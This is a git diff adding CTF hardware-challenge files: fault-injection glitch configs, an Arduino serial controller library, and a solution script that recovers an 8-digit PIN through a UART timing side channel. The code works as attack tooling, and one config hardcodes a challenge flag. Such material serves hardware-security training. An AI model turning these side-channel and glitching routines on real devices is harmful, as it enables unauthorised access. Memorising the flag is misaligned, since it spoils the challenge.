b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py new file mode 100644 index 0000000..01de69c --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py @@ -0,0 +1,152 @@ +###### +# LEAVE THESE IMPORTS! +###### +from arduinIO import ArduinoController +import functions +import time + +###### +# config values +###### + +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 9600 + +###### +# arduinIO values +###### +ARDIO_PORT = "/dev/ttyACM2" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 +ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash +ARDIO_PULSE_DURATION_MS = 300 + +arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) +arduino.connect() + +### +# name, enabled, string to match +### +conditions = [ + ['rdy', False, "", 'setup_buttons'], + ['ok', False, "", 'button_ok'], + ['dash', False, "", 'button_dash'], + ['spce', False, "", 'button_space'], + ['dot', False, "", 'button_dot'], + ['check', False, "", 'echo_trigger_state'], + ['run', False, "", 'find_code'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### +# Custom functions +###### +def setup_buttons(): + version = arduino.get_version() + functions.add_text(f"[INFO] Connected to Arduino: {version}") + + # Configure pins + functions.add_text("[INFO] Configuring pin modes...") + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + for pin in ARDIO_OUTPUT_PINS: + arduino.set_mode(pin, "OUTPUT") + arduino.set_default(pin, "LOW") + + # Display current configuration + pinmap = arduino.get_pinmap() + functions.add_text(f"[INFO] Pin map: {pinmap}") + + +def button_ok(): + # Pulse one output pin + functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dash(): + functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_space(): + functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def button_dot(): + functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") + arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + +def echo_trigger_state(): + state = arduino.get_state(ARDIO_INPUT_PIN) + functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") + +def find_code(): + candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate + code_sequence = [] + pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} + + functions.add_text("[INFO] Starting full code discovery sequence") + + for digit_index in range(4): + functions.add_text(f"[INFO] Finding digit {digit_index + 1}") + results = {} + + for test_pin in candidate_pins: + # Build the sequence: previously found digits + candidate repeated to fill 4 pulses + sequence = code_sequence.copy() + remaining_pulses = 4 - len(sequence) + sequence += [test_pin] * remaining_pulses + symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] + functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " + f"sequence: {' '.join(symbol_seq)}") + + # Send all pulses in the sequence, starting timer immediately before the fourth pulse + for i, pin in enumerate(sequence): + if i == len(sequence) - 1: + # Start timer immediately before sending the fourth pulse + start_time = time.time() + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + # Allow a short interval for the device to react + time.sleep(0.05) + # Wait for the input to go HIGH and capture result + result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") + end_time = time.time() + + # Safely extract duration from result or compute fallback + if isinstance(result, dict): + duration = result.get("duration_ms", + int((end_time - start_time) * 1000)) + else: + duration = int((end_time - start_time) * 1000) + + functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") + results[test_pin] = duration + else: + arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) + time.sleep(0.5) + + # small pause between candidates + time.sleep(0.8) + + # Choose the candidate with the longest duration for this digit + correct_pin = max(results, key=results.get) + code_sequence.append(correct_pin) + + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") + functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " + f"{pin_to_symbol.get(correct_pin)}") + + translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] + functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") + functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") + + return code_sequence, translated_sequence + +def stop_glitch(): + functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py new file mode 100644 index 0000000..f7e8036 --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py @@ -0,0 +1,123 @@ +import functions +import threading +import time + +###### Config values ###### +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 1000000 +UART_NEWLINE = "\n" + +LENGTH = 12 +REPEAT = 1 +DELAY = 0 + +### name, enabled, string to match ### +conditions = [ + ['run', True, 'Password:', 'try_glitch'], + ["Flag", True, "TS{", "stop_glitch"], +] + +###### Custom functions ###### +def try_glitch(): + Len = functions.get_config_value("length") + Rep = functions.get_config_value("repeat") + Del = functions.get_config_value("delay") + time.sleep(0.2) + + tx_thread = threading.Thread( + target=functions.send_uart_message, + args=("aaaaaaaaaaaaaaaaaaaaa",), + daemon=True + ) + + glitch_thread = threading.Thread( + target=functions.start_glitch, + args=(Len, Rep, Del), + daemon=True + ) + + glitch_thread.start() + tx_thread.start() + + try: + current_delay = int(Del) + except (ValueError, TypeError): + current_delay = 0 + + try: + current_repeat = int(Rep) + except (ValueError, TypeError): + current_repeat = 0 + + new_delay = current_delay + 1 + + if new_delay >= 51: + new_delay = 0 + new_repeat = current_repeat + 1 + if new_repeat >= 20: + new_repeat = 1 + functions.set_config_value("repeat", new_repeat) + + functions.set_config_value("delay", new_delay) + + +def stop_glitch(): + buf = functions.read_uart_buffer() + + if "TS{D@mn_y0u_@r3_g006}" in buf: + functions.start_glitch(16, 1, 0) + else: + functions.set_condition_value(0, False) + functions.set_uart_switch(False) + + +###### Inactivity watchdog ###### +def config_inactivity_monitor(timeout=5): + """ + Monitor 'delay' and 'repeat' configuration values. + Restart device if they do not change for 'timeout' seconds + AND condition 0 remains True. + """ + # Wait for functions.config to be initialised + while True: + try: + _ = functions.get_config_value("delay") + break + except AttributeError: + print("[Watchdog] Waiting for configuration to initialise...") + time.sleep(1) + + last_delay = functions.get_config_value("delay") + last_repeat = functions.get_config_value("repeat") + last_change_time = time.time() + + while True: + try: + current_delay = functions.get_config_value("delay") + current_repeat = functions.get_config_value("repeat") + condition_active = functions.get_condition_value(0) + + if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat): + last_change_time = time.time() + last_delay = current_delay + last_repeat = current_repeat + + if condition_active and (time.time() - last_change_time > timeout): + print("[Watchdog] Inactivity detected. Restarting glitch...") + functions.start_glitch(16, 1, 0) + last_change_time = time.time() + + except Exception as e: + print(f"[Watchdog Error] {e}") + + time.sleep(1) + + +# Start watchdog thread after slight delay to allow initialisation +def start_watchdog(): + time.sleep(2) # ensures 'functions.config' is ready + monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True) + monitor_thread.start() + + +threading.Thread(target=start_watchdog, daemon=True).start() diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py new file mode 100644 index 0000000..c5188aa --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/12_solution.py @@ -0,0 +1,274 @@ +#!/usr/bin/env python3 +""" +===================================================================== +UART Timing Analysis PIN Discovery Script (configurable start) +===================================================================== +Performs timing-based side-channel analysis to discover an 8-digit PIN +via UART, using the Arduino I/O controller for synchronised monitoring. + +This variant allows pre-setting a starting code (prefix) and the +starting position index so that discovery may resume part-way through. +Version: 1.3 +===================================================================== +""" + +import time +import serial +from arduinIO import ArduinoController + +# ================================================================ +# Configuration +# ================================================================ + +###### UART Configuration ###### +SERIAL_PORT = '/dev/ttyUSB0' +BAUD_RATE = 1199 +UART_NEWLINE = "\n" + +###### Arduino I/O Configuration ###### +ARDIO_PORT = "/dev/ttyACM0" +ARDIO_BAUDRATE = 115200 +ARDIO_INPUT_PIN = 2 + +###### Analysis Parameters ###### +PIN_LENGTH = 8 +KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] +PAD_CHAR = 'A' +ATTEMPTS_PER_CANDIDATE = 1 + +# Optionally set a starting prefix and a starting position. +# START_CODE is the known prefix (string). It may be empty. +# START_POS is the zero-based index at which to begin discovery. +# Example: START_CODE = "253", START_POS = 3 will begin at position 4. +START_CODE = "" # e.g. "253" +START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE). + +###### Delay Configuration (seconds) ###### +INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate +SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input +POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position +MAX_WAIT_MS = 800 # Maximum wait for input response +MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms) + +# ================================================================ +# Helper Functions +# ================================================================ + +def log(msg: str, level: str = "INFO"): + """Structured log output with level labels.""" + prefix = { + "INFO": "\033[94m[INFO]\033[0m", + "TEST": "\033[93m[TEST]\033[0m", + "ATTEMPT": "\033[90m[ATTEMPT]\033[0m", + "RESULT": "\033[92m[RESULT]\033[0m", + "ERROR": "\033[91m[ERROR]\033[0m", + "SUCCESS": "\033[96m[SUCCESS]\033[0m" + }.get(level, "[LOG]") + print(f"{prefix} {msg}") + + +def send_uart_message(ser, message: str): + """Send full message to UART target.""" + if not message.endswith(UART_NEWLINE): + message += UART_NEWLINE + ser.write(message.encode("utf-8")) + ser.flush() + + +def validate_start_settings(): + """Validate START_CODE and START_POS consistency and bounds.""" + if not isinstance(START_CODE, str): + raise ValueError("START_CODE must be a string.") + if not isinstance(START_POS, int): + raise ValueError("START_POS must be an integer.") + if len(START_CODE) != START_POS: + raise ValueError("Length of START_CODE must equal START_POS.") + if START_POS < 0 or START_POS > PIN_LENGTH: + raise ValueError("START_POS out of valid range.") + if len(START_CODE) > PIN_LENGTH: + raise ValueError("START_CODE longer than PIN_LENGTH.") + + +# ================================================================ +# PIN Discovery Logic +# ================================================================ + +def find_code(ser, arduino): + """ + Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW. + + Important: no UART reading occurs during the timed interval. UART is only + drained before sending (to remove stale lines) and immediately after the + timing measurement completes. This avoids introducing extra delay into + the critical timing path. + """ + + validate_start_settings() + log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO") + + discovered = START_CODE + start_pos = START_POS + + remaining_positions = PIN_LENGTH - start_pos + if remaining_positions <= 0: + log(f"No positions to discover. Current code: {discovered}", "INFO") + return discovered + + total_candidates = len(KEYSPACE) + total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE + eta_start = time.time() + attempts_done = 0 + + for pos in range(start_pos, PIN_LENGTH): + human_pos = pos + 1 + log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO") + timings = {} + + # Upper bound grows with each identified position (relative index) + relative_index = pos - start_pos + upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20 + + for idx, candidate in enumerate(KEYSPACE): + candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1)) + durations = [] + + for attempt in range(ATTEMPTS_PER_CANDIDATE): + # Best-effort non-blocking drain of stale UART lines BEFORE sending + try: + while ser.in_waiting: + _ = ser.readline() # discard + except Exception: + pass + + # Clear any previous short event records on Arduino + try: + arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1) + except Exception: + pass + + # Start timing immediately before send (critical interval begins) + t_start = time.time() + send_uart_message(ser, candidate_pin + UART_NEWLINE) + + # short settle after send (does not affect measurement start) + time.sleep(SEND_SETTLE_DELAY) + + # Perform event-based capture (no UART reads here) + dur_ms = 0 + try: + events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS) + except Exception: + events = [] + + if events: + low_event = next((ev for ev in events if ev.get("state") == "LOW"), None) + if low_event: + dur_ms = low_event.get("duration_ms", 0) + + # Fallback blocking wait_if_no_event (still no UART reads) + if dur_ms == 0: + try: + result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW") + t_end = time.time() + if isinstance(result, dict): + dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000)) + else: + dur_ms = int((t_end - t_start) * 1000) + except Exception: + dur_ms = 0 + + # Immediately after measurement, drain UART non-blocking and check for success + try: + while ser.in_waiting: + line = ser.readline().decode(errors='ignore').strip() + if line and line.startswith("TS{"): + # Found success; append this candidate and return the discovered code + discovered += candidate + log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS") + return discovered + except Exception: + # ignore serial read errors and continue + pass + + # Only include durations that lie within the allowed window + if 600 <= dur_ms <= upper_bound: + durations.append(dur_ms) + + # Update ETA (safe to compute outside critical interval) + attempts_done += 1 + elapsed = time.time() - eta_start + avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0 + remaining_attempts = total_attempts - attempts_done + eta_remaining = remaining_attempts * avg_time_per_attempt + eta_min, eta_sec = divmod(int(eta_remaining), 60) + + # Overwrite attempt line + print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True) + + time.sleep(INTER_ATTEMPT_DELAY) + + # newline after candidate block + #print() + + # Compute average using only valid durations + avg_duration = (sum(durations) / len(durations)) if durations else 0.0 + timings[candidate] = avg_duration + print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True) + print() + + # Select best candidate (largest average); fallback to '0' if none valid + if any(v > 0 for v in timings.values()): + selected = max(timings, key=timings.get) + else: + selected = '0' + + discovered += selected + log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO") + + # Progress display + print(f"\n ┌───────────────────────────────┐") + print(f" │ Progress: {discovered:<8} │") + print(f" └───────────────────────────────┘\n") + + # Optional settle between positions; keep minimal if timing-sensitive + if POSITION_SETTLE_DELAY: + time.sleep(POSITION_SETTLE_DELAY) + + log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS") + return discovered + + + +# ================================================================ +# Main Execution +# ================================================================ + +def main(): + log("Initialising Arduino controller...", "INFO") + arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) + arduino.connect() + version = arduino.get_version() + log(f"Connected to Arduino firmware {version}", "INFO") + + arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") + log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO") + + log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO") + ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) + log("UART connection established", "INFO") + + try: + pin = find_code(ser, arduino) + log(f"Discovered PIN: {pin}", "SUCCESS") + except KeyboardInterrupt: + log("Process interrupted by user", "ERROR") + except Exception as e: + log(f"Unexpected error: {e}", "ERROR") + finally: + ser.close() + arduino.disconnect() + log("Connections closed", "INFO") + + +if __name__ == "__main__": + main() diff --git a/Misc/12Sec_CTF_V1/docs/arduinIO.py b/Misc/12Sec_CTF_V1/docs/arduinIO.py new file mode 100644 index 0000000..704d31d --- /dev/null +++ b/Misc/12Sec_CTF_V1/docs/arduinIO.py @@ -0,0 +1,228 @@ +""" +===================================================================== +ARDUINO SERIAL CONTROLLER CLASS (PYTHON) +===================================================================== +Version: 1.3.0 +Author: [Your Name] + +DESCRIPTION +--------------------------------------------------------------------- +This module provides a class-based interface to communicate with +the Arduino Serial Pin Control and Monitoring Firmware v1.3.0. + +It supports all implemented serial commands including: +- Version retrieval +- Dynamic pin mode configuration +- Pin map querying +- Output control (default state, timed pulse) +- Input monitoring and state reading +- Duration measurement and blocking wait + +===================================================================== +DEPENDENCIES +--------------------------------------------------------------------- +- pyserial (install with: pip install pyserial) + +===================================================================== +EXAMPLE USAGE +--------------------------------------------------------------------- +from arduino_controller import ArduinoController +import time + +# Create controller instance +arduino = ArduinoController(port="COM3", baudrate=115200) + +# Connect and initialise +arduino.connect() +print("Version:", arduino.get_version()) + +# Configure pins +arduino.set_mode(2, "INPUT") +arduino.set_mode(8, "OUTPUT") +arduino.set_mode(9, "OUTPUT") +arduino.set_mode(10, "OUTPUT") +arduino.set_mode(11, "OUTPUT") + +print("Pin map:", arduino.get_pinmap()) + +# Set outputs low, pulse one pin, monitor input +arduino.set_default(8, "LOW") +arduino.set_default(9, "LOW") +arduino.set_default(10, "LOW") +arduino.set_default(11, "LOW") + +arduino.set_for(8, "HIGH", 300) +arduino.watch(2) + +# Read input state and duration +state = arduino.get_state(2) +duration = arduino.get_duration(2) +print(f"Pin 2 state: {state}, duration since change: {duration} ms") + +# Wait for a state change to HIGH +arduino.wait_for(2, "HIGH") + +# Disconnect +arduino.disconnect() +===================================================================== +""" + +import serial +import time + + +class ArduinoController: + """Provides a structured interface for Arduino serial control.""" + + def __init__(self, port, baudrate=115200, timeout=1.0): + self.port = port + self.baudrate = baudrate + self.timeout = timeout + self.ser = None + + # ------------------------------------------------------------- + # Connection management + # ------------------------------------------------------------- + def connect(self): + """Establish serial connection and wait for READY signal.""" + self.ser = serial.Serial(self.port, self.baudrate, timeout=self.timeout) + time.sleep(2) # Allow Arduino reset + while True: + line = self._read_line() + if line == "READY": + break + + def disconnect(self): + """Close serial connection cleanly.""" + if self.ser and self.ser.is_open: + self.ser.close() + + # ------------------------------------------------------------- + # Internal communication utilities + # ------------------------------------------------------------- + def _send_command(self, command, expect_response=True): + """Send a command string to the Arduino.""" + if not self.ser or not self.ser.is_open: + raise ConnectionError("Serial connection not established.") + self.ser.write((command + "\n").encode("utf-8")) + if expect_response: + return self._read_line() + return None + + def _read_line(self): + """Read a single line from serial and strip whitespace.""" + line = self.ser.readline().decode("utf-8").strip() + return line + + # ------------------------------------------------------------- + # Core command wrappers + # ------------------------------------------------------------- + def get_version(self): + """Return firmware version.""" + return self._send_command("GET_VERSION") + + def set_mode(self, pin, mode): + """Configure a pin as INPUT or OUTPUT.""" + return self._send_command(f"SET_MODE:{pin}:{mode}") + + def get_pinmap(self): + """Return current pin assignments.""" + return self._send_command("GET_PINMAP") + + def set_default(self, pin, state): + """Set an output pin to a default HIGH or LOW state.""" + return self._send_command(f"SET_DEFAULT:{pin}:{state}") + + def set_for(self, pin, state, duration_ms): + """Set an output pin state for a specific duration (ms).""" + return self._send_command(f"SET_FOR:{pin}:{state}:{duration_ms}") + + def watch(self, pin): + """Start watching an input pin for state changes.""" + return self._send_command(f"WATCH:{pin}") + + def watch_pin(self, pin, duration_ms=2000): + """ + Activates WATCH mode for a pin and collects CHANGE events for a period. + + Args: + pin (int): Input pin number to watch. + duration_ms (int): How long to listen for events. + + Returns: + list of dict: [{'pin': int, 'state': str, 'duration_ms': int}, ...] + """ + # Use the existing _send_command() method + self._send_command(f"WATCH:{pin}", expect_response=False) + messages = [] + start = time.time() + + while (time.time() - start) * 1000 < duration_ms: + if self.ser.in_waiting: + line = self._read_line() + if line.startswith("CHANGE:"): + # Example: CHANGE:2:HIGH:1421 + parts = line.split(":") + if len(parts) == 4: + try: + messages.append({ + 'pin': int(parts[1]), + 'state': parts[2], + 'duration_ms': int(parts[3]) + }) + except ValueError: + pass + time.sleep(0.005) + + return messages + + + def get_state(self, pin): + """Return current state (HIGH or LOW) of a pin.""" + response = self._send_command(f"GET_STATE:{pin}") + if response.startswith("STATE:"): + return response.split(":")[2] + return response + + def get_duration(self, pin): + """Return duration since last state change.""" + response = self._send_command(f"GET_DURATION:{pin}") + if response.startswith("DURATION:"): + return int(response.split(":")[2]) + return response + + def wait_for(self, pin, state): + """Block until specified pin reaches given state.""" + response = self._send_command(f"WAIT_FOR:{pin}:{state}") + if response.startswith("WAIT_RESULT:"): + _, pin_str, final_state, duration = response.split(":") + return {"pin": int(pin_str), "state": final_state, "duration_ms": int(duration)} + return response + + # ------------------------------------------------------------- + # Continuous monitoring + # ------------------------------------------------------------- + def monitor(self, callback=None): + """ + Continuously read from serial and process change notifications. + Optionally pass a callback(line) for custom handling. + """ + print("[INFO] Monitoring started. Press Ctrl+C to stop.") + try: + while True: + line = self._read_line() + if line: + if callback: + callback(line) + else: + print(line) + except KeyboardInterrupt: + print("\n[INFO] Monitoring stopped.") + + # ------------------------------------------------------------- + # Utility + # ------------------------------------------------------------- + def flush(self): + """Flush serial input buffer.""" + if self.ser: + self.ser.reset_input_buffer()